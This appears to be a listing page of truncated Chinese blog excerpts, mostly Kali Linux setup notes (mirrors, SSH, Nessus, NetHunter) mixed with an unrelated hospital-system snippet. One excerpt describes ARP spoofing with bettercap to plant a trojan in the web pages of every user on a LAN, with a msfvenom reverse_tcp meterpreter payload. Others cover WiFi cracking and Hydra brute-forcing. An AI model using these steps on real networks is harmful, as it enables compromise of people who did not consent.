发现弱点:基于端口服务扫描结果版本信息,搜索已公开的漏洞数据库 使用弱点扫描器实现漏洞管理 弱点扫描类型(扫描结果不能确定是不是准确的,应该综合对待威胁) 主动扫描:有身份验证,无身份验证 被动扫描:镜像端口抓包,其他来源 漏洞基本概念: CVSS(Common Vulerability Scoring System) 通用漏洞评分系统------工业标准 描述安全漏洞严重程度的统一-----评分方案 Base Metric:代表着漏洞的原始属性,不受时间与环境的影响,又由Exploitabil

准备 当前环境:OSX 10.11.6 , 准备VMware虚拟机软件和kali系统 为什么要安装kali系统 Kali Linux预装了许多渗透测试软件,包括nmap (端口扫描器).Wireshark (数据包分析器).John the Ripper (密码破解器),以及Aircrack-ng (一套用于对无线局域网进行渗透测试的软件). 用户可通过硬盘.live CD或live USB运行Kali Linux.Metasploit的Metasploit Framework支持Kali Li

上次发布过一篇在OSX系统破解WIFI密码的教程, 这次发布一篇使用kali破解wifi的教程 WEP和WPA/PSK的区别 WPA/PSK的加密方式相对于WEP的加密方式更加安全,WEP是一种老式的加密方式,在2003年时就被WPA加密所淘汰,由于其安全性能存在好几个弱点,很容易被专业人士攻破,不过,对于非专业人来说还是比较安全的.其次由于WEP采用的是IEEE 802.11技术,而现在无线路由设备基本都是使用的IEEE 802.11n技术,因此,当使用WEP加密时会影响无线网络设备的传输速率

目的 通过Arp欺骗, 给局域网内的所有用户网页中植入木马, 只要用户运行以后, 就会反弹一个shell到我们计算机 准备 kali系统 metaspolit的使用 Arp欺骗工具:bettercap 博客园账号密码(用来上传小马文件) metaspolit小马的准备 因为我本地的ip为151, 溢出后反弹的端口为444, 使用msfvenom生成名字为run1.exe的小马文件: msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe

1.首先你需要一个移动硬盘和一个移动硬盘盒子(一根数据转换线,一般买盒子商家会赠送的) SSD硬盘要事先格式化一下格式,不然识别不出来 2.准备好Kali镜像,传送门在这里https://www.kali.org/,安装好VM虚拟机,值得一说的是固态硬盘,一定要开启虚拟机的USB3.0端口 这里配置虚拟机的时候把虚拟机自带的硬盘删掉,用我们的固态硬盘.虚拟机开启的时候,右下角有一个USB的灰色的图标,点一下,连接上你的固态硬盘,如下图 3.好了接下来我们正式开始,安装Kali的步骤就不一一赘述,

把kali系统装在u盘上,会带来极大的便利,只要有网有机就能随时随地hacking,但是u盘体积太小极易丢失,所以需要对其备份以备万一. 一般kali启动U盘分为两个区:启动区和文件存放区.如下图 我们只需备份persistence盘,里面存放着我们自定义.安装.编写的配置.软件.文件等. 打开安装了linux系统的虚拟机插入u盘,可以看到挂载在/media/root/persistence目录下 先创建一个存放备份的文件夹 mkdir disk cd disk 查看一下u盘的文件确认无误 ls

一.Kali系统更新源 使用官网的虚拟化镜像安装,默认为英文界面,更新源也是官方源.因为官方服务器在国外,速度不是很理想,现在就来改国内源并且更新系统. 1.使用编辑器打开系统源文本(在终端内操作,先备份原来的文件是个好习惯) leafpad /etc/apt/sources.list 2.获取国内源地址,清华源,地址如下: deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib deb-sr

ll命令:也就是ls -l的缩写方式. 重装kali系统之后,发现无法使用ll命令了,于是写一个笔记记录一下如何添加ll命令. 解决方法: vim ~/.bashrc 将alias ll=’ls -l‘前面的注释符号#删掉 下次在遇到,你的世界没有我.

Linux下软件的安装:方式:yum/rpm/源码安装YUM安装(帮助管理员解决依赖关系):yum search mysqld 在源中搜索软件包yum install mysql-connector-odbc.x86_64 安装软件yum remove mysql 卸载软件 yum erase mysql RPM安装:查询已安装软件的信息:rpm -q mysql:仅查询,后面接的软件名称是否有安装rpm -qa:列出所有的,已经在本机上安装的软件rpm -qa | grep mysql: 查询

基础配置 由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用. 在kali 2.0中启动带数据库支持的MSF方式如下: 1 首先启动postgresql数据库: /etc/init.d/postgresql start:或者 service postgresql start: 2 初始化MSF数据库(关键步骤!):msfdb init:(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,

一.官网下载Nessus(http://www.tenable.com/products/nessus/select-your-operating-system),这里需要查找自己对应的版本,如下图一: (图一)我安装在kali上面的系统版本是I386 2.https://www.tenable.com/products/nessus-home 点此使用邮箱注册获取activation code (会发送到你的邮箱) 3.开始安装 1)执行dpkg -i 你的安装包 2)执行dpkg --unp

Kali Linux系统提供的apt-get方式,可以很好的安装软件,对系统进行更新.但是每次执行都会下载大量的软件包.这些软件包被安装后,并不会被自动删掉,会持续占用磁盘空间.解决这个问题有两个办法. 第一,使用apt-get clean命令删除所有下载的软件包.如果只想删除不再使用的旧软件包,可以使用apt-get autoclean命令. 第二,用户可以手动删除这些软件包.apt-get下载的软件包保存在var/cache/apt/archives目录下.进入该目录,删除所有文件,即可.

1.一般使用的kali 安装都是将系统文件全部放在一个总分区中,应用程序会产生临时文件,另外在安装软件的时候会出现 系统框架的不同,但是kali并不会检测该问题,直接当依赖的框架下载,可以是使用命令 dpkg---print-acrhitecture 如果存在多余的框架可以使用删除命令删除.每次更新的时候也会产生软件包没有及时清除积累.产生的日志文件也会导致系统增肥问题. 2.删除掉对应Var中缓存的文件,删除日志文件.会适当的增加磁盘的存储空间. 3.扩展新的磁盘,进行挂在到系统(扎样做只能延

kali Nethunter是一个装在手机上的kali,集成了kali的工具包,hid,无线攻击等等. 本文主要叙述如何安装此系统并正确的配置.不让你走弯路. 首先我们拒绝傻瓜安装软件 kali nethunter install这对我们接下来要讲的机型安装会有一个大的误点 #需要的材料有: 一部nexus5(kali官网有支持的手机型号,建议大家使用支持的型号来刷取系统,要不然很容易变砖.) nexus5的价格大约在300-400之间,我买的时候是350,具体你们可以上某宝去查看价格浮动. 我

一.背景信息在安装完 kali linux 2020.1 时,其操作系统默认语言为英文的,我们操作起来比较麻烦,为了以后操作方便起见,这边将其操作系统默认语言更改为中文.本篇文章将带领各位小伙伴们一起去将操作系统默认语言更改为中文二.操作步骤    打开Terminal Emulator 界面,查看当前系统语言为默认英文在这里插入图片描述    在Terminal Emulator 中执行dpkg-reconfigure locales命令    注意:如果是root用户可直接执行dpkg-re

1.医院院长查询系统的价值 目前,大中型医院的信息处理正从传统手工方式飞速向电脑信息化建设方案转变,一个大中型医院担负着繁重的医疗和科研任务,以及繁杂的事务性工作,院长必须时刻与各科室保持密切的连续,以便随时了解全院的情况,及时发现问题,方案并解决问题. 院长是医院的首脑决策工作部分,其工作效率.工作质量关系到医院的社会效益和经济效益.在以往手工管理模式下,难免有因数据量大,医院情况反映不及时,或因为事物繁多,以至于出现不能全面及时理解全院情况,做好统计工作,发现问题,提出决策性意见,指导医院各

0x00.skipfish简介 谷歌公司出品的开源web程序评估软件. skipfish特点:CPU资源占用低,扫描速度快,每秒可以轻松处理2000个请求,误报率低. 1x00.skipfish使用 1x01  帮助信息 root@kali:~# skipfish --help skipfish web application scanner - version .10b Usage: skipfish [ options ... ] -W wordlist -o output_dir star

1.修改sshd_config文件,命令为:vi /etc/ssh/sshd_config 2.将#PasswordAuthentication no的注释去掉,并且将NO修改为YES  //我的kali中默认是yes 3.将#PermitRootLogin yes的注释去掉 //我的kali中默认去掉了注释 4.启动SSH服务,命令为:/etc/init.d/ssh start // 或者service ssh start 5.验证SSH服务状态,命令为:/etc/init.d/ssh sta

sources.list deb http://http.kali.org/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirror

kali中的Firefox浏览器默认为英文,这对英语不够好的我来讲,自然是很麻烦的,下面讲一下如何将语言设置为中文. 1.打开终端,输入 apt -y install firefox-esr-l10n-zh-cn  ,回车,下载安装firefox浏览器中文语言包 2.打开火狐浏览器,选择右上角的菜单,选择“选项”,就是齿轮图标 3.选择“内容”-->在语言栏点击“选择”,选择“中文/中国 [zh-cn]”,点击“确定”,重启浏览器即可 完

1. Aircrack-ng Aircrack-ng是用来破解WEP/WAP/WPA 2无线密码最佳的黑客工具之一! 它通过接收网络的数据包来工作,并通过恢复的密码进行分析.它还拥有一个控制台接口.除此之外,Aircrack-ng还利用标准的FMS(Fluhrer.Mantin和Shamir)攻击,以及一些优化(如KORK攻击和PTW攻击)来加速攻击. Aircrack-ng 2. Hydra 九头蛇使用暴力攻击的方式,几乎可以破解任何远程身份验证服务.它支持50多种协议,包括ftp.https